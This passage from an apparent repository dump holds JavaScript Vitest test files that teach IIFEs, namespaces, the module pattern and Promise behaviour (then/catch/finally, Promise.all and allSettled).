create counter with private state', () => {\n        const counter = (function () {\n          // Private variable — can't be accessed directly\n          let count = 0\n\n          // Return public interface\n          return {\n            increment() {\n              count++\n            },\n            decrement() {\n              count--\n            },\n            getCount() {\n              return count\n            }\n          }\n        })()\n\n        // Using the counter\n        counter.increment()\n        expect(counter.getCount()).toBe(1)\n\n        counter.increment()\n        expect(counter.getCount()).toBe(2)\n\n        counter.decrement()\n        expect(counter.getCount()).toBe(1)\n      })\n\n      it('should keep count private (not accessible directly)', () => {\n        const counter = (function () {\n          let count = 0\n\n          return {\n            increment() {\n              count++\n            },\n            getCount() {\n              return count\n            }\n          }\n        })()\n\n        counter.increment()\n        counter.increment()\n\n        // Trying to access private variables\n        expect(counter.count).toBe(undefined) // it's private!\n      })\n\n      it('should throw TypeError when calling non-existent private function', () => {\n        const counter = (function () {\n          let count = 0\n\n          // Private function — also hidden\n          function log(message) {\n            return `[Counter] ${message}`\n          }\n\n          return {\n            increment() {\n              count++\n              return log(`Incremented to ${count}`)\n            },\n            getCount() {\n              return count\n            }\n          }\n        })()\n\n        // Private log function works internally\n        expect(counter.increment()).toBe('[Counter] Incremented to 1')\n\n        // But not accessible from outside\n        expect(counter.log).toBe(undefined)\n        expect(() => counter.log('test')).toThrow(TypeError)\n      })\n\n      it('should create multiple independent counter instances', () => {\n        function createCounter() {\n          let count = 0\n\n          return {\n            increment() {\n              count++\n            },\n            getCount() {\n              return count\n            }\n          }\n        }\n\n        const counter1 = createCounter()\n        const counter2 = createCounter()\n\n        counter1.increment()\n        counter1.increment()\n        counter1.increment()\n\n        counter2.increment()\n\n        expect(counter1.getCount()).toBe(3)\n        expect(counter2.getCount()).toBe(1)\n      })\n    })\n\n    describe('IIFE with Parameters', () => {\n      it('should pass parameters into IIFE', () => {\n        const result = (function (a, b) {\n          return a + b\n        })(10, 20)\n\n        expect(result).toBe(30)\n      })\n\n      it('should create local aliases for global objects', () => {\n        const globalObj = { name: 'Global' }\n\n        const result = (function (obj) {\n          // Inside here, obj is a local reference\n          return obj.name\n        })(globalObj)\n\n        expect(result).toBe('Global')\n      })\n\n      it('should preserve parameter values even if outer variable changes', () => {\n        let value = 'original'\n\n        const getOriginalValue = (function (capturedValue) {\n          return function () {\n            return capturedValue\n          }\n        })(value)\n\n        value = 'changed'\n\n        expect(getOriginalValue()).toBe('original')\n        expect(value).toBe('changed')\n      })\n    })\n\n    describe('When to Use IIFEs Today', () => {\n      describe('One-time initialization code', () => {\n        it('should create config object with computed values', () => {\n          const config = (() => {\n            const env = 'production' // simulating process.env.NODE_ENV\n            const apiUrl =\n              env === 'production'\n                ? 'https://api.example.com'\n                : 'http://localhost:3000'\n\n            return { env, apiUrl }\n          })()\n\n          expect(config.env).toBe('production')\n          expect(config.apiUrl).toBe('https://api.example.com')\n        })\n\n        it('should use development URL when not in production', () => {\n          const config = (() => {\n            const env = 'development'\n            const apiUrl =\n              env === 'production'\n                ? 'https://api.example.com'\n                : 'http://localhost:3000'\n\n            return { env, apiUrl }\n          })()\n\n          expect(config.env).toBe('development')\n          expect(config.apiUrl).toBe('http://localhost:3000')\n        })\n      })\n\n      describe('Creating async IIFEs', () => {\n        it('should execute async IIFE', async () => {\n          let result = null\n\n          await (async () => {\n            result = await Promise.resolve('data loaded')\n          })()\n\n          expect(result).toBe('data loaded')\n        })\n\n        it('should handle async operations in IIFE', async () => {\n          const data = await (async () => {\n            const response = await Promise.resolve({ json: () => ({ id: 1, name: 'Test' }) })\n            return response.json()\n          })()\n\n          expect(data).toEqual({ id: 1, name: 'Test' })\n        })\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 2: Namespaces — Organizing Under One Name\n  // ===========================================\n\n  describe('Part 2: Namespaces — Organizing Under One Name', () => {\n    describe('What is a Namespace?', () => {\n      it('should demonstrate variables without namespace can conflict', () => {\n        // Without namespace — variables everywhere\n        var userName = 'Alice'\n        var userAge = 25\n\n        // These could easily conflict with other code\n        var userName = 'Bob' // Overwrites!\n\n        expect(userName).toBe('Bob')\n      })\n\n      it('should organize data under one namespace object', () => {\n        // With namespace — everything organized under one name\n        const User = {\n          name: 'Alice',\n          age: 25,\n          email: 'alice@example.com',\n\n          login() {\n            return `${this.name} logged in`\n          },\n          logout() {\n            return `${this.name} logged out`\n          }\n        }\n\n        // Access with the namespace prefix\n        expect(User.name).toBe('Alice')\n        expect(User.age).toBe(25)\n        expect(User.login()).toBe('Alice logged in')\n        expect(User.logout()).toBe('Alice logged out')\n      })\n    })\n\n    describe('Creating a Namespace', () => {\n      it('should create simple namespace and add properties', () => {\n        // Simple namespace\n        const MyApp = {}\n\n        // Add things to it\n        MyApp.version = '1.0.0'\n        MyApp.config = {\n          apiUrl: 'https://api.example.com',\n          timeout: 5000\n        }\n\n        expect(MyApp.version).toBe('1.0.0')\n        expect(MyApp.config.apiUrl).toBe('https://api.example.com')\n        expect(MyApp.config.timeout).toBe(5000)\n      })\n\n      it('should add utility methods to namespace', () => {\n        const MyApp = {}\n\n        MyApp.utils = {\n          formatDate(date) {\n            return date.toLocaleDateString()\n          },\n          capitalize(str) {\n            return str.charAt(0).toUpperCase() + str.slice(1)\n          }\n        }\n\n        expect(MyApp.utils.capitalize('hello')).toBe('Hello')\n        expect(MyApp.utils.capitalize('world')).toBe('World')\n\n        const testDate = new Date('2024-01-15')\n        expect(typeof MyApp.utils.formatDate(testDate)).toBe('string')\n      })\n    })\n\n    describe('Nested Namespaces', () => {\n      it('should create nested namespace structure', () => {\n        // Create the main namespace\n        const MyApp = {\n          // Nested namespaces\n          Models: {},\n          Views: {},\n          Controllers: {},\n          Utils: {}\n        }\n\n        expect(MyApp.Models).toEqual({})\n        expect(MyApp.Views).toEqual({})\n        expect(MyApp.Controllers).toEqual({})\n        expect(MyApp.Utils).toEqual({})\n      })\n\n      it('should add functionality to nested namespaces', () => {\n        const MyApp = {\n          Models: {},\n          Views: {},\n          Utils: {}\n        }\n\n        // Add to nested namespaces\n        MyApp.Models.User = {\n          create(name) {\n            return { name, id: Date.now() }\n          },\n          find(id) {\n            return { id, name: 'Found User' }\n          }\n        }\n\n        MyApp.Views.UserList = {\n          render(users) {\n            return users.map((u) => u.name).join(', ')\n          }\n        }\n\n        MyApp.Utils.Validation = {\n          isEmail(str) {\n            return str.includes('@')\n          }\n        }\n\n        // Use nested namespaces\n        const user = MyApp.Models.User.create('Alice')\n        expect(user.name).toBe('Alice')\n        expect(typeof user.id).toBe('number')\n\n        const found = MyApp.Models.User.find(123)\n        expect(found.id).toBe(123)\n\n        const rendered = MyApp.Views.UserList.render([{ name: 'Alice' }, { name: 'Bob' }])\n        expect(rendered).toBe('Alice, Bob')\n\n        expect(MyApp.Utils.Validation.isEmail('test@example.com')).toBe(true)\n        expect(MyApp.Utils.Validation.isEmail('invalid')).toBe(false)\n      })\n    })\n\n    describe('Combining Namespaces with IIFEs', () => {\n      it('should create namespace with IIFE for private variables', () => {\n        const MyApp = {}\n\n        // Use IIFE to add features with private variables\n        MyApp.Counter = (function () {\n          // Private\n          let count = 0\n\n          // Public\n          return {\n            increment() {\n              count++\n            },\n            decrement() {\n              count--\n            },\n            getCount() {\n              return count\n            }\n          }\n        })()\n\n        MyApp.Counter.increment()\n        MyApp.Counter.increment()\n        expect(MyApp.Counter.getCount()).toBe(2)\n\n        MyApp.Counter.decrement()\n        expect(MyApp.Counter.getCount()).toBe(1)\n\n        // Private count is not accessible\n        expect(MyApp.Counter.count).toBe(undefined)\n      })\n\n      it('should create Logger with private logs array', () => {\n        const MyApp = {}\n\n        MyApp.Logger = (function () {\n          // Private\n          const logs = []\n\n          // Public\n          return {\n            log(message) {\n              logs.push({ message, time: new Date() })\n              return message // Return for testing\n            },\n            getLogs() {\n              return [...logs] // Return a copy\n            },\n            getLogCount() {\n              return logs.length\n            }\n          }\n        })()\n\n        MyApp.Logger.log('First message')\n        MyApp.Logger.log('Second message')\n\n        expect(MyApp.Logger.getLogCount()).toBe(2)\n\n        const allLogs = MyApp.Logger.getLogs()\n        expect(allLogs[0].message).toBe('First message')\n        expect(allLogs[1].message).toBe('Second message')\n\n        // Returned array is a copy, modifying it doesn't affect internal logs\n        allLogs.push({ message: 'Fake log' })\n        expect(MyApp.Logger.getLogCount()).toBe(2)\n      })\n\n      it('should combine Counter and Logger in same namespace', () => {\n        const MyApp = {}\n\n        MyApp.Counter = (function () {\n          let count = 0\n          return {\n            increment() {\n              count++\n              return count\n            },\n            getCount() {\n              return count\n            }\n          }\n        })()\n\n        MyApp.Logger = (function () {\n          const logs = []\n          return {\n            log(message) {\n              logs.push(message)\n            },\n            getLogs() {\n              return [...logs]\n            }\n          }\n        })()\n\n        // Usage\n        const newCount = MyApp.Counter.increment()\n        MyApp.Logger.log(`Counter incremented to ${newCount}`)\n\n        expect(MyApp.Counter.getCount()).toBe(1)\n        expect(MyApp.Logger.getLogs()).toEqual(['Counter incremented to 1'])\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 3: ES6 Modules — The Modern Solution (Patterns)\n  // ===========================================\n\n  describe('Part 3: ES6 Modules — Pattern Testing', () => {\n    describe('Named Export Patterns', () => {\n      it('should test function that would be named export', () => {\n        // These functions would be: export function add(a, b) { ... }\n        function add(a, b) {\n          return a + b\n        }\n\n        function subtract(a, b) {\n          return a - b\n        }\n\n        const PI = 3.14159\n\n        expect(add(2, 3)).toBe(5)\n        expect(subtract(10, 4)).toBe(6)\n        expect(PI).toBe(3.14159)\n      })\n\n      it('should test square and cube functions', () => {\n        // export function square(x) { return x * x; }\n        function square(x) {\n          return x * x\n        }\n\n        // function cube(x) { return x * x * x; }\n        // export { cube };\n        function cube(x) {\n          return x * x * x\n        }\n\n        expect(square(4)).toBe(16)\n        expect(square(5)).toBe(25)\n        expect(cube(3)).toBe(27)\n        expect(cube(4)).toBe(64)\n      })\n\n      it('should test Calculator class', () => {\n        // export class Calculator { ... }\n        class Calculator {\n          add(a, b) {\n            return a + b\n          }\n          subtract(a, b) {\n            return a - b\n          }\n          multiply(a, b) {\n            return a * b\n          }\n          divide(a, b) {\n            return a / b\n          }\n        }\n\n        const calc = new Calculator()\n        expect(calc.add(5, 3)).toBe(8)\n        expect(calc.subtract(10, 4)).toBe(6)\n        expect(calc.multiply(3, 4)).toBe(12)\n        expect(calc.divide(20, 5)).toBe(4)\n      })\n\n      it('should test math constants', () => {\n        const PI = 3.14159\n        const E = 2.71828\n\n        expect(PI).toBeCloseTo(3.14159, 5)\n        expect(E).toBeCloseTo(2.71828, 5)\n      })\n    })\n\n    describe('Default Export Patterns', () => {\n      it('should test greet function (default export pattern)', () => {\n        // export default function greet(name) { ... }\n        function greet(name) {\n          return `Hello, ${name}!`\n        }\n\n        expect(greet('World')).toBe('Hello, World!')\n        expect(greet('Alice')).toBe('Hello, Alice!')\n      })\n\n      it('should test User class (default export pattern)', () => {\n        // export default class User { ... }\n        class User {\n          constructor(name) {\n            this.name = name\n          }\n\n          greet() {\n            return `Hi, I'm ${this.name}`\n          }\n        }\n\n        const user = new User('Alice')\n        expect(user.name).toBe('Alice')\n        expect(user.greet()).toBe(\"Hi, I'm Alice\")\n\n        const bob = new User('Bob')\n        expect(bob.greet()).toBe(\"Hi, I'm Bob\")\n      })\n    })\n\n    describe('Module Privacy Pattern', () => {\n      it('should demonstrate unexported variables are private', () => {\n        // In a real module:\n        // let currentUser = null;  // Private to this module\n        // export function login() { currentUser = ... }\n        // export function getCurrentUser() { return currentUser }\n\n        // Simulating with closure\n        const authModule = (function () {\n          let currentUser = null // Private to this module\n\n          return {\n            login(email) {\n              currentUser = { email, loggedInAt: new Date() }\n              return currentUser\n            },\n            getCurrentUser() {\n              return currentUser\n            },\n            logout() {\n              currentUser = null\n            }\n          }\n        })()\n\n        expect(authModule.getCurrentUser()).toBe(null)\n\n        authModule.login('user@example.com')\n        expect(authModule.getCurrentUser().email).toBe('user@example.com')\n\n        authModule.logout()\n        expect(authModule.getCurrentUser()).toBe(null)\n\n        // currentUser is not directly accessible\n        expect(authModule.currentUser).toBe(undefined)\n      })\n    })\n\n    describe('Re-export Pattern (Barrel Files)', () => {\n      it('should demonstrate re-export concept', () => {\n        // utils/format.js\n        const formatModule = {\n          formatDate(date) {\n            return date.toLocaleDateString()\n          },\n          formatCurrency(amount) {\n            return `$${amount.toFixed(2)}`\n          }\n        }\n\n        // utils/validate.js\n        const validateModule = {\n          isEmail(str) {\n            return str.includes('@')\n          },\n          isPhone(str) {\n            return /^\\d{10}$/.test(str)\n          }\n        }\n\n        // utils/index.js — re-exports everything\n        const Utils = {\n          ...formatModule,\n          ...validateModule\n        }\n\n        expect(Utils.formatCurrency(19.99)).toBe('$19.99')\n        expect(Utils.isEmail('test@example.com')).toBe(true)\n        expect(Utils.isPhone('1234567890')).toBe(true)\n        expect(Utils.isPhone('123')).toBe(false)\n      })\n    })\n  })\n\n  // ===========================================\n  // The Evolution: From IIFEs to Modules\n  // ===========================================\n\n  describe('The Evolution: From IIFEs to Modules', () => {\n    describe('Era 1: Global (Bad)', () => {\n      it('should demonstrate global variable problem', () => {\n        // Everything pollutes global scope\n        var counter = 0\n\n        function increment() {\n          counter++\n        }\n\n        function getCount() {\n          return counter\n        }\n\n        increment()\n        expect(getCount()).toBe(1)\n\n        // Problem: Anyone can do this\n        counter = 999 // Oops, state corrupted!\n        expect(getCount()).toBe(999)\n      })\n    })\n\n    describe('Era 2: IIFE (Better)', () => {\n      it('should demonstrate IIFE protects state', () => {\n        // Uses closure to hide counter\n        var Counter = (function () {\n          var counter = 0 // Private!\n\n          return {\n            increment: function () {\n              counter++\n            },\n            getCount: function () {\n              return counter\n            }\n          }\n        })()\n\n        Counter.increment()\n        expect(Counter.getCount()).toBe(1)\n        expect(Counter.counter).toBe(undefined) // private!\n      })\n\n      it('should prevent external modification of private state', () => {\n        var Counter = (function () {\n          var counter = 0\n\n          return {\n            increment: function () {\n              counter++\n            },\n            getCount: function () {\n              return counter\n            }\n          }\n        })()\n\n        Counter.increment()\n        Counter.increment()\n        Counter.increment()\n\n        // Cannot directly set counter\n        Counter.counter = 999\n        expect(Counter.getCount()).toBe(3) // Still 3, not 999!\n      })\n    })\n\n    describe('Era 3: ES6 Modules (Best) - Pattern', () => {\n      it('should demonstrate module pattern (simulated)', () => {\n        // Simulating:\n        // counter.js\n        // let counter = 0;  // Private (not exported)\n        // export function increment() { counter++; }\n        // export function getCount() { return counter; }\n\n        const counterModule = (function () {\n          let counter = 0 // Private (not exported)\n\n          return {\n            increment() {\n              counter++\n            },\n            getCount() {\n              return counter\n            }\n          }\n        })()\n\n        // Simulating: import { increment, getCount } from './counter.js';\n        const { increment, getCount } = counterModule\n\n        increment()\n        expect(getCount()).toBe(1)\n\n        // counter variable is not accessible at all\n        expect(counterModule.counter).toBe(undefined)\n      })\n    })\n  })\n\n  // ===========================================\n  // Common Patterns and Best Practices\n  // ===========================================\n\n  describe('Common Patterns and Best Practices', () => {\n    describe('Avoid Circular Dependencies', () => {\n      it('should demonstrate shared module pattern to avoid circular deps', () => {\n        // Instead of A importing B and B importing A...\n        // Create a third module for shared code\n\n        // shared.js\n        const sharedModule = {\n          sharedThing: 'shared',\n          helperFunction() {\n            return 'helper result'\n          }\n        }\n\n        // a.js - imports from shared\n        const moduleA = {\n          fromA: 'A',\n          useShared() {\n            return sharedModule.sharedThing\n          }\n        }\n\n        // b.js - also imports from shared\n        const moduleB = {\n          fromB: 'B',\n          useShared() {\n            return sharedModule.sharedThing\n          }\n        }\n\n        // No circular dependency!\n        expect(moduleA.useShared()).toBe('shared')\n        expect(moduleB.useShared()).toBe('shared')\n      })\n    })\n  })\n\n  // ===========================================\n  // Test Your Knowledge Examples\n  // ===========================================\n\n  describe('Test Your Knowledge Examples', () => {\n    describe('Question 1: What does IIFE stand for?', () => {\n      it('should demonstrate Immediately Invoked Function Expression', () => {\n        const results = []\n\n        // Immediately - runs right now\n        // Invoked - called/executed\n        // Function Expression - a function written as an expression\n\n        results.push('before')\n        ;(function () {\n          results.push('immediately invoked')\n        })()\n        results.push('after')\n\n        expect(results).toEqual(['before', 'immediately invoked', 'after'])\n      })\n    })\n\n    describe('Question 3: How to create private variable in IIFE?', () => {\n      it('should create private variable inside IIFE', () => {\n        const module = (function () {\n          // Private variable\n          let privateCounter = 0\n\n          // Return public methods that can access it\n          return {\n            increment() {\n              privateCounter++\n            },\n            getCount() {\n              return privateCounter\n            }\n          }\n        })()\n\n        module.increment()\n        expect(module.getCount()).toBe(1)\n        expect(module.privateCounter).toBe(undefined) // private!\n      })\n    })\n\n    describe('Question 4: Static vs Dynamic imports', () => {\n      it('should demonstrate dynamic import returns a Promise', async () => {\n        // Dynamic imports return Promises\n        // const module = await import('./module.js')\n\n        // Simulating dynamic import behavior\n        const dynamicImport = () =>\n          Promise.resolve({\n            default: function () {\n              return 'loaded'\n            },\n            namedExport: 'value'\n          })\n\n        const module = await dynamicImport()\n        expect(module.default()).toBe('loaded')\n        expect(module.namedExport).toBe('value')\n      })\n    })\n\n    describe('Question 6: When to use IIFE today', () => {\n      it('should use IIFE for async initialization', async () => {\n        let data = null\n\n        await (async () => {\n          data = await Promise.resolve({ loaded: true })\n        })()\n\n        expect(data).toEqual({ loaded: true })\n      })\n\n      it('should use IIFE for one-time calculations', () => {\n        const config = (() => {\n          // Complex setup that runs once\n          const computed = 2 + 2\n          return { computed, ready: true }\n        })()\n\n        expect(config.computed).toBe(4)\n        expect(config.ready).toBe(true)\n      })\n    })\n  })\n\n  // ===========================================\n  // Additional Edge Cases\n  // ===========================================\n\n  describe('Edge Cases and Additional Tests', () => {\n    describe('IIFE Return Values', () => {\n      it('should return primitive values from IIFE', () => {\n        const number = (function () {\n          return 42\n        })()\n\n        const string = (function () {\n          return 'hello'\n        })()\n\n        const boolean = (function () {\n          return true\n        })()\n\n        expect(number).toBe(42)\n        expect(string).toBe('hello')\n        expect(boolean).toBe(true)\n      })\n\n      it('should return undefined when no return statement', () => {\n        const result = (function () {\n          const x = 1 + 1 // no return\n        })()\n\n        expect(result).toBe(undefined)\n      })\n\n      it('should return arrays and objects from IIFE', () => {\n        const arr = (function () {\n          return [1, 2, 3]\n        })()\n\n        const obj = (function () {\n          return { a: 1, b: 2 }\n        })()\n\n        expect(arr).toEqual([1, 2, 3])\n        expect(obj).toEqual({ a: 1, b: 2 })\n      })\n    })\n\n    describe('Nested IIFEs', () => {\n      it('should support nested IIFEs', () => {\n        const result = (function () {\n          const outer = 'outer'\n\n          return (function () {\n            const inner = 'inner'\n            return outer + '-' + inner\n          })()\n        })()\n\n        expect(result).toBe('outer-inner')\n      })\n    })\n\n    describe('IIFE with this context', () => {\n      it('should demonstrate arrow IIFE inherits this from enclosing scope', () => {\n        // Arrow functions don't have their own this binding\n        // They inherit this from the enclosing lexical scope\n        const obj = {\n          name: 'TestObject',\n          getThisArrow: (() => {\n            // In module scope, this may be undefined or global depending on environment\n            return typeof this\n          })(),\n          getNameWithRegular: function() {\n            return (function() {\n              // Regular function IIFE in strict mode has undefined this\n              return this\n            })()\n          }\n        }\n\n        // Arrow IIFE inherits this from module scope (not the object)\n        expect(typeof obj.getThisArrow).toBe('string')\n        \n        // Regular function IIFE called without context has undefined this in strict mode\n        expect(obj.getNameWithRegular()).toBe(undefined)\n      })\n\n      it('should show regular function IIFE has undefined this in strict mode', () => {\n        const result = (function() {\n          'use strict'\n          return this\n        })()\n\n        expect(result).toBe(undefined)\n      })\n    })\n\n    describe('Namespace Extension', () => {\n      it('should extend existing namespace safely', () => {\n        // Create or extend namespace\n        const MyApp = {}\n\n        // Safely extend (pattern used in large apps)\n        MyApp.Utils = MyApp.Utils || {}\n        MyApp.Utils.String = MyApp.Utils.String || {}\n\n        MyApp.Utils.String.reverse = function (str) {\n          return str.split('').reverse().join('')\n        }\n\n        expect(MyApp.Utils.String.reverse('hello')).toBe('olleh')\n\n        // Extend again without overwriting\n        MyApp.Utils.String = MyApp.Utils.String || {}\n        MyApp.Utils.String.uppercase = function (str) {\n          return str.toUpperCase()\n        }\n\n        // Both functions exist\n        expect(MyApp.Utils.String.reverse('test')).toBe('tset')\n        expect(MyApp.Utils.String.uppercase('test')).toBe('TEST')\n      })\n    })\n\n    describe('Closure over Loop Variables', () => {\n      it('should demonstrate IIFE fixing var loop problem', () => {\n        const funcs = []\n\n        for (var i = 0; i < 3; i++) {\n          ;(function (j) {\n            funcs.push(function () {\n              return j\n            })\n          })(i)\n        }\n\n        expect(funcs[0]()).toBe(0)\n        expect(funcs[1]()).toBe(1)\n        expect(funcs[2]()).toBe(2)\n      })\n\n      it('should show problem without IIFE', () => {\n        const funcs = []\n\n        for (var i = 0; i < 3; i++) {\n          funcs.push(function () {\n            return i\n          })\n        }\n\n        // All return 3 because they share the same i\n        expect(funcs[0]()).toBe(3)\n        expect(funcs[1]()).toBe(3)\n        expect(funcs[2]()).toBe(3)\n      })\n    })\n\n    describe('Module Pattern Variations', () => {\n      it('should implement revealing module pattern', () => {\n        const RevealingModule = (function () {\n          // Private variables and functions\n          let privateVar = 'private'\n          let publicVar = 'public'\n\n          function privateFunction() {\n            return privateVar\n          }\n\n          function publicFunction() {\n            return publicVar\n          }\n\n          function setPrivate(val) {\n            privateVar = val\n          }\n\n          // Reveal public pointers to private functions\n          return {\n            publicVar,\n            publicFunction,\n            setPrivate,\n            getPrivate: privateFunction\n          }\n        })()\n\n        expect(RevealingModule.publicVar).toBe('public')\n        expect(RevealingModule.publicFunction()).toBe('public')\n        expect(RevealingModule.getPrivate()).toBe('private')\n\n        RevealingModule.setPrivate('updated')\n        expect(RevealingModule.getPrivate()).toBe('updated')\n\n        // Private function not accessible directly\n        expect(RevealingModule.privateFunction).toBe(undefined)\n      })\n\n      it('should implement singleton pattern with IIFE', () => {\n        const Singleton = (function () {\n          let instance\n\n          function createInstance() {\n            return {\n              id: Math.random(),\n              getName() {\n                return 'Singleton Instance'\n              }\n            }\n          }\n\n          return {\n            getInstance() {\n              if (!instance) {\n                instance = createInstance()\n              }\n              return instance\n            }\n          }\n        })()\n\n        const instance1 = Singleton.getInstance()\n        const instance2 = Singleton.getInstance()\n\n        expect(instance1).toBe(instance2) // Same instance\n        expect(instance1.id).toBe(instance2.id)\n      })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/functions-execution/promises/promises.test.js",
    "content": "import { describe, it, expect, vi } from 'vitest'\n\ndescribe('Promises', () => {\n  describe('Basic Promise Creation', () => {\n    it('should create a fulfilled Promise with resolve()', async () => {\n      const promise = new Promise((resolve) => {\n        resolve('success')\n      })\n      \n      const result = await promise\n      expect(result).toBe('success')\n    })\n    \n    it('should create a rejected Promise with reject()', async () => {\n      const promise = new Promise((_, reject) => {\n        reject(new Error('failure'))\n      })\n      \n      await expect(promise).rejects.toThrow('failure')\n    })\n    \n    it('should execute the executor function synchronously', () => {\n      const order = []\n      \n      order.push('before')\n      \n      new Promise((resolve) => {\n        order.push('inside executor')\n        resolve('done')\n      })\n      \n      order.push('after')\n      \n      expect(order).toEqual(['before', 'inside executor', 'after'])\n    })\n    \n    it('should ignore subsequent resolve/reject calls after first settlement', async () => {\n      const promise = new Promise((resolve, reject) => {\n        resolve('first')\n        resolve('second')  // Ignored\n        reject(new Error('error'))  // Ignored\n      })\n      \n      const result = await promise\n      expect(result).toBe('first')\n    })\n    \n    it('should automatically reject if executor throws', async () => {\n      const promise = new Promise(() => {\n        throw new Error('thrown error')\n      })\n      \n      await expect(promise).rejects.toThrow('thrown error')\n    })\n  })\n  \n  describe('Promise.resolve() and Promise.reject()', () => {\n    it('should create fulfilled Promise with Promise.resolve()', async () => {\n      const promise = Promise.resolve(42)\n      expect(await promise).toBe(42)\n    })\n    \n    it('should create rejected Promise with Promise.reject()', async () => {\n      const promise = Promise.reject(new Error('rejected'))\n      await expect(promise).rejects.toThrow('rejected')\n    })\n    \n    it('should return the same Promise if resolving with a Promise', async () => {\n      const original = Promise.resolve('original')\n      const wrapped = Promise.resolve(original)\n      \n      // Promise.resolve returns the same Promise if given a native Promise\n      expect(wrapped).toBe(original)\n    })\n  })\n  \n  describe('.then() method', () => {\n    it('should receive the fulfilled value', async () => {\n      const result = await Promise.resolve(10).then(x => x * 2)\n      expect(result).toBe(20)\n    })\n    \n    it('should return a new Promise', () => {\n      const p1 = Promise.resolve(1)\n      const p2 = p1.then(x => x)\n      \n      expect(p2).toBeInstanceOf(Promise)\n      expect(p1).not.toBe(p2)\n    })\n    \n    it('should chain values through multiple .then() calls', async () => {\n      const result = await Promise.resolve(1)\n        .then(x => x + 1)\n        .then(x => x * 2)\n        .then(x => x + 10)\n      \n      expect(result).toBe(14)  // ((1 + 1) * 2) + 10\n    })\n    \n    it('should unwrap returned Promises', async () => {\n      const result = await Promise.resolve(1)\n        .then(x => Promise.resolve(x + 1))\n        .then(x => x * 2)\n      \n      expect(result).toBe(4)  // (1 + 1) * 2\n    })\n    \n    it('should skip .then() when Promise is rejected', async () => {\n      const thenCallback = vi.fn()\n      \n      await Promise.reject(new Error('error'))\n        .then(thenCallback)\n        .catch(() => {})  // Handle the rejection\n      \n      expect(thenCallback).not.toHaveBeenCalled()\n    })\n  })\n  \n  describe('.catch() method', () => {\n    it('should catch rejected Promises', async () => {\n      const result = await Promise.reject(new Error('error'))\n        .catch(error => `caught: ${error.message}`)\n      \n      expect(result).toBe('caught: error')\n    })\n    \n    it('should catch errors thrown in .then()', async () => {\n      const result = await Promise.resolve('ok')\n        .then(() => {\n          throw new Error('thrown')\n        })\n        .catch(error => `caught: ${error.message}`)\n      \n      expect(result).toBe('caught: thrown')\n    })\n    \n    it('should allow chain to continue after catching', async () => {\n      const result = await Promise.reject(new Error('error'))\n        .catch(() => 'recovered')\n        .then(value => value.toUpperCase())\n      \n      expect(result).toBe('RECOVERED')\n    })\n    \n    it('should propagate errors through the chain until caught', async () => {\n      const thenCallback1 = vi.fn()\n      const thenCallback2 = vi.fn()\n      const catchCallback = vi.fn(e => e.message)\n      \n      await Promise.reject(new Error('original error'))\n        .then(thenCallback1)\n        .then(thenCallback2)\n        .catch(catchCallback)\n      \n      expect(thenCallback1).not.toHaveBeenCalled()\n      expect(thenCallback2).not.toHaveBeenCalled()\n      expect(catchCallback).toHaveBeenCalledWith(expect.any(Error))\n    })\n  })\n  \n  describe('.finally() method', () => {\n    it('should run on fulfillment', async () => {\n      const finallyCallback = vi.fn()\n      \n      await Promise.resolve('value').finally(finallyCallback)\n      \n      expect(finallyCallback).toHaveBeenCalled()\n    })\n    \n    it('should run on rejection', async () => {\n      const finallyCallback = vi.fn()\n      \n      await Promise.reject(new Error('error'))\n        .catch(() => {})  // Handle rejection\n        .finally(finallyCallback)\n      \n      expect(finallyCallback).toHaveBeenCalled()\n    })\n    \n    it('should not receive any arguments', async () => {\n      const finallyCallback = vi.fn()\n      \n      await Promise.resolve('value').finally(finallyCallback)\n      \n      expect(finallyCallback).toHaveBeenCalledWith()  // No arguments\n    })\n    \n    it('should pass through the original value', async () => {\n      const result = await Promise.resolve('original')\n        .finally(() => 'ignored')\n      \n      expect(result).toBe('original')\n    })\n    \n    it('should pass through the original error', async () => {\n      await expect(\n        Promise.reject(new Error('original'))\n          .finally(() => 'ignored')\n      ).rejects.toThrow('original')\n    })\n  })\n  \n  describe('Promise Chaining', () => {\n    it('should maintain chain with undefined return', async () => {\n      const result = await Promise.resolve('start')\n        .then(() => {\n          // No explicit return = undefined\n        })\n        .then(value => value)\n      \n      expect(result).toBeUndefined()\n    })\n    \n    it('should handle async operations in sequence', async () => {\n      const delay = (ms, value) => \n        new Promise(resolve => setTimeout(() => resolve(value), ms))\n      \n      const result = await delay(10, 'first')\n        .then(value => delay(10, value + ' second'))\n        .then(value => delay(10, value + ' third'))\n      \n      expect(result).toBe('first second third')\n    })\n  })\n  \n  describe('Promise.all()', () => {\n    it('should resolve with array of values when all fulfill', async () => {\n      const result = await Promise.all([\n        Promise.resolve(1),\n        Promise.resolve(2),\n        Promise.resolve(3)\n      ])\n      \n      expect(result).toEqual([1, 2, 3])\n    })\n    \n    it('should maintain order regardless of resolution order', async () => {\n      const result = await Promise.all([\n        new Promise(resolve => setTimeout(() => resolve('slow'), 30)),\n        new Promise(resolve => setTimeout(() => resolve('fast'), 10)),\n        Promise.resolve('instant')\n      ])\n      \n      expect(result).toEqual(['slow', 'fast', 'instant'])\n    })\n    \n    it('should reject immediately if any Promise rejects', async () => {\n      await expect(\n        Promise.all([\n          Promise.resolve('A'),\n          Promise.reject(new Error('B failed')),\n          Promise.resolve('C')\n        ])\n      ).rejects.toThrow('B failed')\n    })\n    \n    it('should work with non-Promise values', async () => {\n      const result = await Promise.all([1, 'two', Promise.resolve(3)])\n      expect(result).toEqual([1, 'two', 3])\n    })\n    \n    it('should resolve immediately with empty array', async () => {\n      const result = await Promise.all([])\n      expect(result).toEqual([])\n    })\n  })\n  \n  describe('Promise.allSettled()', () => {\n    it('should return status objects for all Promises', async () => {\n      const results = await Promise.allSettled([\n        Promise.resolve('success'),\n        Promise.reject(new Error('failure')),\n        Promise.resolve(42)\n      ])\n      \n      expect(results).toEqual([\n        { status: 'fulfilled', value: 'success' },\n        { status: 'rejected', reason: expect.any(Error) },\n        { status: 'fulfilled', value: 42 }\n      ])\n    })\n    \n    it('should never reject', async () => {\n      const results = await Promise.allSettled([\n        Promise.reject(new Error('error 1')),\n        Promise.reject(new Error('error 2'))\n      ])\n      \n      expect(results).toHaveLength(2)\n      expect(results[0].status).toBe('rejected')\n      expect(results[1].status).toBe('rejected')\n    })\n    \n    it('should wait for all to settle', async () => {\n      const start = Date.now()\n      \n      await Promise.allSettled([\n        new Promise(resolve => setTimeout(resolve, 50)),\n        new Promise((_, reject) => setTimeout(() => reject(new Error()), 30)),\n        new Promise(resolve => setTimeout(resolve, 40))\n      